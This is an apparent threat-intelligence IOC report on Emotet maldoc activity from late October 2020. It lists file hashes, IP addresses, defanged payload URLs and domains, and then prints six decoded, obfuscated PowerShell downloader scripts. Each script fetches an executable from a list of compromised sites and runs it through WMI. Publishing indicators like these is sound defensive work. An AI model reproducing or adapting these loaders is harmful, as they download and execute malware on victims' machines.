Emotet_Doc_out_2020-10-27_22_10.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
eaa28b2f3d86cf5cadedd86d3b7347b9e134c3049bf90f5f1e7636f9b146d9e5
8d06f2de9fc142f4456cbbf3acd4f656f5efe4cf3739d0b08fa7fdd15b1174dd
27a4604ed78b46292d3fe249908f17afd986800056d207ee6363b335cdd4edeb
97b90fd1216dd8a3bfe0516bbd4e971e0f0a4c0f679cf3d618cdf34352998d73
b7eaf5aa815667a5010765737eb81a975d85b8a224438cb86bccc38024229637
fc85d817147ea8b457799df22080f51ec80b5c05cfe99b55e04e8be095830702
6d738e7149161a65b1fd7a8ff15be79577eb8662753c5c2d8bc4ba78732be44b
6f47752ab35a3a16436092bcd097860b92bb7666bfa6093f191327bea545840c
ec989ed848ce15ff9c215928fb9f5687e944c2cc6ff3aed355a40aed4da88099
ff48d2d032ccc5330082b135bdc3b45a3486a3ec161200843fe7c270473213d5
ac203b670a881b60dff3849213b20ae477e8a6084b9fe8fba68d3dc450374114
ac203b670a881b60dff3849213b20ae477e8a6084b9fe8fba68d3dc450374114
26e6064183b60455750defa43bac41589e26837ffe96a44186466e0f5b87d0b5
cddae4cd8b8c7abc1819ded260b8860c7c1eb39c1cdb57421b29f1b28d190104
ba0b3891ec4099f638fa5108b39f9c656729e11caa30df82fb274d2522bcc612
c9b48a2eaa1fe1cac12fe4ff2fe7ae9be3436749ce7bc05129e96953bb7b3494
b0c4aa91bf22dd3af0d099538850a4ff044f528debae303bd06662e36657cd2e
c79b46a984ea1afac22430005586c7436a446b0285f52a8ac1e106872c7313ee
fc6cf00da4afbdfa56c224ffca2e8e6d92d4bcb16761e697795a8c7c4fa7be9f
fc6cf00da4afbdfa56c224ffca2e8e6d92d4bcb16761e697795a8c7c4fa7be9f
9f01a1f41afb800dc19b023fa3a864efcc17a6c0624897ae4326e695ceb6d893
1663fbca3bfee0c76af0ff5fa1e59b2d4e10eb3b17a1c5d41a092adf85f30ead
de9ed45fc90ae166716a1703044069bea57d72376086f43b0711dd7b35ffa18a
d72d739e8e5011b13120f38f398f775116032ad0712d602780ff9370cfb0ddc8
bb8010402e5f009f29886cf28e720b447bbc5d467a89ca4817d6492f70e2439c
41fb558dbc7e100a8f612047f4942171b1daab30b7ebd7ef071b3a99d87df5fa
a902e1c262035afc8ce3b0b63ea84f57fe9a4ecc6ce139ca9eb9557e2c40a6a4
a902e1c262035afc8ce3b0b63ea84f57fe9a4ecc6ce139ca9eb9557e2c40a6a4
86a0436f86316b70823965711af164bc203e9d28e461aafa7b60a31443d85c5b
26334b62aa0e9ede3dbb964e4519bfd8864952e21555d976db4332851a0affa5
26334b62aa0e9ede3dbb964e4519bfd8864952e21555d976db4332851a0affa5
46a3e3abecccb7dab19ff4c6940f0d2b503d409524a59b07bea431da55dac765
46a3e3abecccb7dab19ff4c6940f0d2b503d409524a59b07bea431da55dac765
9b51ad5b6cfd673dfd89e0f723d704e0db19467b986021e99668598aa180ad7f
0d324b35e9e1354566e22c431eb9ee5f36c4ade28ed5acf57bbda93ff7c8c1ed
771179cd9433568cd9fa5162c351f2f753d685b6645514e85e897c0f78fc8ca8
771179cd9433568cd9fa5162c351f2f753d685b6645514e85e897c0f78fc8ca8
04c4ec6ce334fcb141b92d6e0a177aa261d773d79e3c9a671db3fe228bc7fa7d
04c4ec6ce334fcb141b92d6e0a177aa261d773d79e3c9a671db3fe228bc7fa7d
7311cc5022f3dc62da7aaff352737355ba41be4d3090feaff26344ea86100fb8
beec80235ed74cc910936321b2be145f0ed3d43cb0a6f436d2e9414e2df55f6b
beec80235ed74cc910936321b2be145f0ed3d43cb0a6f436d2e9414e2df55f6b
e9ed0e2383e743b2c64d4c7a9dfa27ef8352ca6b03cbc8b606f72368c42c0196
e9ed0e2383e743b2c64d4c7a9dfa27ef8352ca6b03cbc8b606f72368c42c0196


IPs:
102.130.121.16
103.133.223.106
103.241.24.165
104.18.58.178
104.18.59.178
104.236.84.27
104.24.112.218
104.24.113.218
104.24.116.178
104.24.117.178
104.24.118.24
104.24.119.24
104.27.130.137
104.27.131.137
104.27.144.246
104.27.145.246
104.27.154.42
104.27.155.42
104.27.182.91
104.27.183.91
104.28.18.27
104.28.19.27
104.28.22.149
104.28.6.115
104.28.7.115
104.31.82.230
109.232.217.183
112.78.1.97
119.28.4.228
125.253.123.103
146.88.237.8
156.247.12.150
172.67.129.181
172.67.135.50
172.67.160.88
172.67.163.154
172.67.167.21
172.67.179.15
172.67.179.2
172.67.203.5
172.67.215.25
185.201.11.101
193.141.3.74
198.71.233.138
198.71.233.51
206.189.212.65
209.99.16.225
213.186.33.3
31.31.198.107
37.17.224.143
43.226.39.138
45.79.219.198
47.107.189.73
69.197.167.74
77.72.150.107



URLs:
hxxp://www.royalempresshair.com/wp-content/upgrade/Ete/
hxxp://kbppp.ilmci.com/wp-includes/z/
hxxp://tiplabor.com/images/Du1/
hxxp://0377hhd.com/cgi-bin/q/
hxxps://sorbonne-capital.com/wp-admin/Jip/
hxxps://dijitalklinik.com/wp-admin/LYq/
hxxps://www.qualitymathtutors.com/wp-content/GfE/
hxxps://noorpurefood.com/wp-content/eyH9I/
hxxp://amorepooh.com/wp-content/themes/twentyseventeen/G3RZxc/
hxxp://hatele.net/wp-admin/N/
hxxp://promaxgh.com/wp-content/uploads/f/
hxxp://pikama.us/wp-includes/BBW/
hxxp://shaishavchildrights.org/wp-content/L4bRiZo/
hxxps://maradrugstore.com/old/n/
hxxps://lilianaoliveira.com/office-365/m1MRNr/
hxxp://car4libya.com/cgi-bin/sDBhPqx/
hxxp://ostranderandassociates.com/var/thpY/
hxxp://acredales.com/thank_you/U0u9Z/
hxxp://scw8.net/wp-content/1MkWc/
hxxps://adinterix.com/laybuy-investors/9Ab6/
hxxp://uxnew.com/old/9/
hxxp://www.queensport.nl/accp/dz/
hxxps://bahamianrelief.org/VpHo/ey/
hxxps://homewatchamelia.com/wp-admin/MQxjrRU/
hxxps://pottershousedurban.co.za/cgi-bin/109J/
hxxps://toorak.ie/wp-includes/aT/
hxxps://www.theginlibrary.de/wp-includes/ma/
hxxps://coeurclaudelien.fbcars.net/cgi-bin/tJt0Sqg/
hxxps://www.mamac.top/wp-admin/GWQACP/
hxxps://jwskincare.vn/setupconfigo/pF6g/
hxxps://9s2s.com/wp-admin/XKowb/
hxxp://hashilife.com/sitepage/GY/
hxxp://anjia-ceramics.com/aliner-camper/K/
hxxps://monicasharma.info/reviewl/i/
hxxp://adidasyeezy.store/welph/m/
hxxp://econews.treegle.org/how-to/2V/
hxxp://quicktowtowing.com/wp-content/mu-plugins/uMM/
hxxps://timsonntag.com/cgi-bin/g/
hxxps://mevaconyeu.vn/forgottenl/lBjZjuaWO/
hxxps://babyg-vietnam.vn/wp-content/cuBO2E7bE/
hxxp://wikibricolage.com/wp-admin/R/
hxxp://innhanmachcm.com/wp-admin/IB32/
hxxps://apyarlovers.com/wp-admin/eAiaD/
hxxps://pilanjau-berau.desa.id/wp-admin/t/
hxxps://www.madivarealty.com/wp-includes/XulnC6a/


Domains:
www.royalempresshair.com
kbppp.ilmci.com
tiplabor.com
0377hhd.com
sorbonne-capital.com
dijitalklinik.com
www.qualitymathtutors.com
noorpurefood.com
amorepooh.com
hatele.net
promaxgh.com
pikama.us
shaishavchildrights.org
maradrugstore.com
lilianaoliveira.com
car4libya.com
ostranderandassociates.com
acredales.com
scw8.net
adinterix.com
uxnew.com
www.queensport.nl
bahamianrelief.org
homewatchamelia.com
pottershousedurban.co.za
toorak.ie
www.theginlibrary.de
coeurclaudelien.fbcars.net
www.mamac.top
jwskincare.vn
9s2s.com
hashilife.com
anjia-ceramics.com
monicasharma.info
adidasyeezy.store
econews.treegle.org
quicktowtowing.com
timsonntag.com
mevaconyeu.vn
babyg-vietnam.vn
wikibricolage.com
innhanmachcm.com
apyarlovers.com
pilanjau-berau.desa.id
www.madivarealty.com


Decoded Base64 Powershell:
<���^,  $Y0Gt= [TYPe]"{3}{0}{1}{2}"-f iReCto,R,Y,SySTEm.io.d;
   $Q7VO  = [TyPe]"{7}{0}{6}{8}{4}{3}{2}{1}{5}" -fYst,m,Int,o,P,AnAGER,em.net,S,.SeRviCe ;
 $Ljuepbk=Dz2leqc;
$Xlmk73w=$I8pr4rm  [char]64  $Mpnhz6u;
$P_6wis7=E4poe3p;
   varIabLe "Y0""Gt" .ValUe::"CreATEd`i`Rect`OrY"$HOME  Ja8Tr1uc6cJa8Ge5row1Ja8 -cREpLAceJa8,[chaR]92;
$Bhfshju=Xxw_yci;
 $Q7VO::"Sec`UR`iTy`pROTo`CoL" = Tls12;
$Dp1ewrp=Azkac03;
$K9gf0sb = Avfs1cem;
$Xzv77ce=Dj1bkgv;
$Hqs0u70=X_c81uc;
$Mqxywq2=$HOMEkj8Tr1uc6ckj8Ge5row1kj8 -rEpLacE [ChAR]107[ChAR]106[ChAR]56,[ChAR]92$K9gf0sb.exe;
$Jzz360f=Eq91cz1;
$Qodha1s=&new-object Net.webcLIenT;
$Z_djov3=hxxp://www.royalempresshair.com/wp-content/upgrade/Ete/
hxxp://kbppp.ilmci.com/wp-includes/z/
hxxp://tiplabor.com/images/Du1/
hxxp://0377hhd.com/cgi-bin/q/
hxxps://sorbonne-capital.com/wp-admin/Jip/
hxxps://dijitalklinik.com/wp-admin/LYq/
hxxps://www.qualitymathtutors.com/wp-content/GfE/."RePLA`Ce"/,[array]/,fs[0]."sPl`It"$P2pwxo7  $Xlmk73w  $S1_8_h5;
$Epywr48=H63d9j4;
foreach $Vrzmynx in $Z_djov3{try{$Qodha1s."d`O`wnl`oAdFiLe"$Vrzmynx, $Mqxywq2;
$Hym_eqy=Uzcf_jx;
If &Get-Item $Mqxywq2."LEnG`TH" -ge 49396 {[wmiclass]win32_Process."C`REAte"$Mqxywq2;
$Jsybd93=Cl3w4cr;
break;
$Txm76q2=R5422mb}}catch{}}$Urv2fgg=Ofbe7na<���^,  Set-iteM "v""a""RIabLE:""Fe2s"   [type]"{2}{3}{4}{1}{5}{0}" -f Y,.dIREC,s,YstEM.,io,TOr  ;
    SeT-Item vARiable:oqg0C    [typE]"{3}{2}{6}{1}{0}{4}{5}"-f tma,IN,v,systeM.NeT.ser,Nage,R,icePO   ;
 $P2ssx9t=U0k3ks5;
$Uzi936h=$A88witu  [char]64  $Ex5zqns;
$Iymbmz1=Ee8rn6l;
  $fE2S::"CRe`AT`EDiRECtORy"$HOME  eO6Q1bzpyxeO6Eqe82rneO6."RE`p`lace"eO6,[StRinG][ChAR]92;
$Q766v3m=F9mae6r;
 vaRiAblE  OqG0c  .VaLUE::"s`E`cUr`ITYpROtoc`ol" = Tls12;
$Laqwg38=Fhpexdh;
$Cijulki = Ifbusx1;
$Ij5onzv=Rsanozs;
$Ztxnniq=Tbz0489;
$Mbhcqtq=$HOMEusaQ1bzpyxusaEqe82rnusa."REp`l`ACE"[cHar]117[cHar]115[cHar]97,[sTrInG][cHar]92$Cijulki.exe;
$H8k80s_=Qcqfd58;
$Fvns1w2=&new-object Net.WeBcliENT;
$Cwbheab=hxxps://noorpurefood.com/wp-content/eyH9I/
hxxp://amorepooh.com/wp-content/themes/twentyseventeen/G3RZxc/
hxxp://hatele.net/wp-admin/N/
hxxp://promaxgh.com/wp-content/uploads/f/
hxxp://pikama.us/wp-includes/BBW/
hxxp://shaishavchildrights.org/wp-content/L4bRiZo/
hxxps://maradrugstore.com/old/n/
hxxps://lilianaoliveira.com/office-365/m1MRNr/."re`plAcE"/,[array]/,fs[0]."spl`IT"$Rgv_amh  $Uzi936h  $V1ylaxu;
$Ogcspw8=Ne2k3la;
foreach $W6z2k60 in $Cwbheab{try{$Fvns1w2."DO`wn`loADF`Ile"$W6z2k60, $Mbhcqtq;
$Dblxm05=Sgdi6ys;
If &Get-Item $Mbhcqtq."LE`NgtH" -ge 49768 {[wmiclass]win32_Process."CRe`A`Te"$Mbhcqtq;
$Sv83oic=Cq7v8mt;
break;
$Tg0m9pw=D4iszx6}}catch{}}$T3c1ef2=Gnis9n5<���^,  SeT-ITeM VarIAbLE:MBON89   [TyPe]"{0}{4}{3}{1}{2}"-fs,.DIr,ecToRy,iO,ystem.;
$a4geK = [TYpe]"{0}{6}{7}{4}{8}{3}{2}{1}{5}"-f sY,INTmANAge,PO,cE,nET,R,ste,m.,.SerVI;
$Tuz3q46=G7d5o1n;
$G_ju_1l=$Arxja9q  [char]64  $E6t1usk;
$Ne5qbt3=Dt6jo1x;
 varIAblE  MBON89  -VAlUEonL::"C`REaTE`DirE`cTo`RY"$HOME  DX1N_jdesuDX1N6qw0zrDX1."reP`La`ce"DX1,\;
$M0vsche=Cixwkeg;
   ChiLDITeM  vArIAblE:A4gEK.vaLUE::"s`eCur`ItYPRO`TOcOL" = Tls12;
$Pulj79q=S8eschc;
$Flzgjjb = F1iv94s;
$Aan58gq=Iey6po9;
$Nd4fcw2=Dgou8w4;
$Smem5yj=$HOMEcSkN_jdesucSkN6qw0zrcSk -REPlaCe  [CHar]99[CHar]83[CHar]107,[CHar]92$Flzgjjb.exe;
$B_j7uxv=Lef0tia;
$Ono_qi5=.new-object NET.WebcliENT;
$R3iy8x6=hxxp://car4libya.com/cgi-bin/sDBhPqx/
hxxp://ostranderandassociates.com/var/thpY/
hxxp://acredales.com/thank_you/U0u9Z/
hxxp://scw8.net/wp-content/1MkWc/
hxxps://adinterix.com/laybuy-investors/9Ab6/
hxxp://uxnew.com/old/9/
hxxp://www.queensport.nl/accp/dz/
hxxps://bahamianrelief.org/VpHo/ey/."r`e`PlaCe"/,[array]/,fs[0]."S`PLit"$Uyc6_mj  $G_ju_1l  $Hqy138e;
$I74qfba=Mkz0r3n;
foreach $K3dxsm5 in $R3iy8x6{try{$Ono_qi5."dow`NlOAD`FILE"$K3dxsm5, $Smem5yj;
$Eu2iu04=S6wd072;
If .Get-Item $Smem5yj."LEn`gth" -ge 40973 {[wmiclass]win32_Process."CR`e`ATe"$Smem5yj;
$Kxyqvz3=Em1xl9s;
break;
$Tuhf7hn=B2kp89x}}catch{}}$D0cfzrv=Zvnwdco<���^,  seT-VARIaBle  96e3   [tYPE]"{1}{0}{3}{2}" -f .IO,sYsTEM,reCtorY,.DI  ;
 set-item vARiablE:LpHAj8 [tYpE]"{4}{2}{1}{3}{0}{5}" -f e,se,m.NEt.,RviCEPoiNTmAnaG,SYSTE,r  ;
  $Oc6jek9=Yxpnjw5;
$W8_r0io=$Lmzo0xp  [char]64  $Uurjr7s;
$Fn97ofj=V5xg470;
 $96E3::"c`R`EaTEd`IrECTORy"$HOME  HiOL33u4hiHiOPt10suzHiO -crEPLace  HiO,[ChAr]92;
$Sdsf6ky=Rxru5zr;
  $LPHAj8::"S`EC`UR`ItyPrO`TOc`ol" = Tls12;
$Def7y9i=Btueaip;
$W61fg1h = Prunonp81;
$F2z1mfn=By1dl36;
$Bm2t8ph=Zmedy31;
$C3xkjid=$HOMEclAL33u4hiclAPt10suzclA-CREpLace  [chAR]99[chAR]108[chAR]65,[chAR]92$W61fg1h.exe;
$Ex1sxnh=Upg3gsg;
$H3s7mpr=&new-object nEt.WEbclient;
$Mylv4h1=hxxps://homewatchamelia.com/wp-admin/MQxjrRU/
hxxps://pottershousedurban.co.za/cgi-bin/109J/
hxxps://toorak.ie/wp-includes/aT/
hxxps://www.theginlibrary.de/wp-includes/ma/
hxxps://coeurclaudelien.fbcars.net/cgi-bin/tJt0Sqg/
hxxps://www.mamac.top/wp-admin/GWQACP/
hxxps://jwskincare.vn/setupconfigo/pF6g/
hxxps://9s2s.com/wp-admin/XKowb/."r`EpL`AcE"/,[array]/,fs[0]."SPL`It"$Nhkdghe  $W8_r0io  $Oe2abj9;
$Yr8zbnu=Dm2ripo;
foreach $I2lkj8m in $Mylv4h1{try{$H3s7mpr."doWnlOaD`Fi`le"$I2lkj8m, $C3xkjid;
$Emwrrwd=N99sxgn;
If &Get-Item $C3xkjid."Leng`TH" -ge 40531 {[wmiclass]win32_Process."cr`e`Ate"$C3xkjid;
$X5zvr3f=O05qyue;
break;
$H6zxq4m=Ygdpcd0}}catch{}}$F0mvz7z=L68yjt5<���^, $642w5 =  [typE]"{5}{4}{0}{3}{2}{1}" -FI,ORy,.dirEcT,O,ystem.,s;
 SET-ITEm Variable:GRQo  [TYpe]"{3}{2}{1}{0}{4}{5}" -fT.SERvIcEPOIntM,E,TEm.N,SyS,aNa,GeR   ;
$Bcexcnn=Zuq5sd_;
$Zqnfa94=$V_ijf6r  [char]64  $Z3rkb7w;
$Ryd05g7=Zfslmh5;
   VaRiabLE  642W5  -vAluEon ::"creAtedI`RECT`oRY"$HOME  {0}Wnwr63a{0}Jmkyxl3{0} -F [chaR]92;
$It5xdtt=Ppxl8cp;
  get-VariaBlE  GrqO  -vALuEON  ::"S`e`CURitYpROtOcoL" = Tls12;
$Y2f5ab9=C1jamgn;
$Rx9cw3l = Yh9sb_wff;
$Jotvw82=Jvb_jkw;
$Nnjt6pc=Jzf8b0f;
$Us4pj7i=$HOME{0}Wnwr63a{0}Jmkyxl3{0}  -f [cHAr]92$Rx9cw3l.exe;
$Seztfte=H943200;
$Cblo0yh=.new-object NEt.WeBclIENT;
$Fwm0kuo=hxxp://hashilife.com/sitepage/GY/
hxxp://anjia-ceramics.com/aliner-camper/K/
hxxps://monicasharma.info/reviewl/i/
hxxp://adidasyeezy.store/welph/m/
hxxp://econews.treegle.org/how-to/2V/
hxxp://quicktowtowing.com/wp-content/mu-plugins/uMM/
hxxps://timsonntag.com/cgi-bin/g/."rEPl`ACE"/,[array]/,fs[0]."Sp`liT"$X8qi8wb  $Zqnfa94  $Iyi935n;
$Lbkfwd_=G8j8xke;
foreach $Lnovxfh in $Fwm0kuo{try{$Cblo0yh."do`WNLo`AdfILe"$Lnovxfh, $Us4pj7i;
$Tsaet8e=B3hrkgu;
If &Get-Item $Us4pj7i."lEN`gTH" -ge 38877 {[wmiclass]win32_Process."Cre`ATe"$Us4pj7i;
$Kmzy4b4=L__nflb;
break;
$Vgk5i7t=Fc68tzc}}catch{}}$Vmh9q29=Fic9e19<���^,SEt-vAriAbLe  K6M8uW  [Type]"{4}{5}{2}{3}{0}{1}"-FctOr,y,.dIr,e,sYsTE,M.Io;
 SEt-VARIAbLE QSHz9x   [TYPE]"{3}{5}{8}{2}{6}{0}{7}{4}{1}" -f P,NAGeR,NET.Servi,SYStE,a,m,ce,oinTm,. ;
 $Lab8tea=Iupb2e4;
$Gkkkqs3=$H0est8y  [char]64  $Wiuuzdu;
$Qp5qq6k=F62s63b;
  $K6m8uw::"cREAte`DIreCto`RY"$HOME  Hw0Rhhcck4Hw0Ebd58oyHw0-RePlACe  Hw0,[Char]92;
$G0t9jfm=Itbkuqy;
  gET-VARIAbLE  QShz9X .vALuE::"Se`CUrItY`p`ROto`coL" = Tls12;
$Zupllmz=Rulyffz;
$Qc34110 = Fsl2uw;
$Mdkd95a=Thttln1;
$Xjej16y=F50dce8;
$Diaylao=$HOMEJGrRhhcck4JGrEbd58oyJGr-cRePlace [cHaR]74[cHaR]71[cHaR]114,[cHaR]92$Qc34110.exe;
$J00ibj3=Ruurxxo;
$It5mkd9=.new-object net.WEbclienT;
$Uvk27zg=hxxps://mevaconyeu.vn/forgottenl/lBjZjuaWO/
hxxps://babyg-vietnam.vn/wp-content/cuBO2E7bE/
hxxp://wikibricolage.com/wp-admin/R/
hxxp://innhanmachcm.com/wp-admin/IB32/
hxxps://apyarlovers.com/wp-admin/eAiaD/
hxxps://pilanjau-berau.desa.id/wp-admin/t/
hxxps://www.madivarealty.com/wp-includes/XulnC6a/."rEP`La`cE"/,[array]/,fs[0]."sp`LIT"$M2osqn8  $Gkkkqs3  $L78d690;
$H6fmpr1=Mswfkg3;
foreach $Op17vt6 in $Uvk27zg{try{$It5mkd9."d`OwNLOADf`ilE"$Op17vt6, $Diaylao;
$Lhwl2ph=Bm4gny2;
If .Get-Item $Diaylao."l`eNGTH" -ge 44745 {[wmiclass]win32_Process."CrE`AtE"$Diaylao;
$Xh3rbma=T_022lj;
break;
$Ixymx87=Dkcyuk5}}catch{}}$Wun_adp=Pk_pjjm